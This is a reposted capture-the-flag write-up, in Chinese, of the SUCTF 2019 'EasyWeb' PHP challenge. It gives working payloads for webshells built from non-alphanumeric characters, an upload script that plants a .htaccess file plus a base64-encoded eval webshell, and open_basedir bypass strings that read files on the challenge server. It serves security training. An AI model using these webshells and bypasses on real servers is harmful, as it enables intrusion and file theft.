[SUCTF 2019]EasyWeb

Posted 王叹之

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[SUCTF 2019]EasyWeb相关的知识,希望对你有一定的参考价值。

0x00 知识点

本题知识量巨大,把我给看傻了。。盯着网上师傅们的博客看了好久。。

知识点1

构造不包含数字和字母的webshell
思路来自p牛
参考链接:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

php5中assert是一个函数,我们可以通过$f=\'assert\';$f(...);这样的方法来动态执行任意代码

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell

我们有三种方法来构造webshell:
1:异或。

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值

想得到我们想要的异或后的字符:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      \\\\dechex(255) = ff
        if($k == $argv[$i]){
        	if($j<16){
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo "\\{$l`$r\\}";
?>

这里的话我们异或只能构造GET型,POST不行
然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${����^����}{�}("type index.php");&%ff=system。
exp:

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff);
\\\\assert
$b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b;
\\\\$b = $_POST
$a($c[777]);

2:取反构造

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如\'和\'{2}的结果是"\\x8c",其取反即为字母s

3:自增构造
参考链接
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

\'a\'++ => \'b\',\'b\'++ => \'c\'

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
    function B(){
        echo "K0I";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

1:$_++; 这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字
2:$__="?" ^ "}"; 对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
3:$ __ (); 通过上面的赋值操作,变量$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为K0i。在PHP中,我们可以将字符串当作函数来处理。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

知识点2 文件上传绕过

参考链接
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

nginx的服务器,而且上传目录下有一个php文件,所以上窜.user.ini
apache的服务器,应该上传.htaccess

两个要注意的点是:

.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

#define width 1337
#define height 1337

在.htaccess是注释符,所以.htaccess文件可以生效

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
这里的php是7.2的版本,无法使用

<script language="php"></script>

来绕过对<?的检测
ps:
可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass

我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:

#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"

shell.abc:

GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的贴一个上传的脚本

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST[\'a\']);?>")
url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

files = {\'file\':(\'.htaccess\',htaccess,\'image/jpeg\')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {\'file\':(\'shell.abc\',shell,\'image/jpeg\')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

知识点三 绕过open_basedir/disable_function

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

payload

chdir(\'img\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');echo(file_get_contents(\'flag\'));

0x01 解题

首先先来上传一个webshell:
直接跑脚本:
这里在给出一个思路:

$_GET{x}();

然后传入x=get_the_flag调用该函数
注意因为buu是把这个源码已经开放了,所以我们这里只是提一下:

import urllib.parse

find = [\'G\',\'E\',\'T\',\'_\']
for i in range(1,256):
    for j in range(1,256):
        result = chr(i^j)
        if(result in find):
            a = i.to_bytes(1,byteorder=\'big\')
            b = j.to_bytes(1,byteorder=\'big\')
            a = urllib.parse.quote(a)
            b = urllib.parse.quote(b)
            print("%s:%s^%s"%(result,a,b))

最后凑出

?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

成功调用get_the_flag函数

直接跑脚本:

找flag位置:

http://67581bf9-b233-4f97-8a1b-98532c7f7358.node3.buuoj.cn/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.abc?a=chdir(\'img\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');print_r(scandir(\'/\'));

找到flag文件THis_Is_tHe_F14g访问

?a=chdir(\'img\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');print_r(file_get_contents(\'/THis_Is_tHe_F14g\'));

得到flag
参考链接:

https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

以上是关于[SUCTF 2019]EasyWeb的主要内容,如果未能解决你的问题,请参考以下文章

[SUCTF 2019]EasyWeb

[SUCTF 2019]EasyWeb

[SUCTF 2019]Pythonginx

[SUCTF 2019]EasySQL

刷题记录:[SUCTF 2019]EasySQL (欠)

刷题记录:[SUCTF 2019]Pythonginx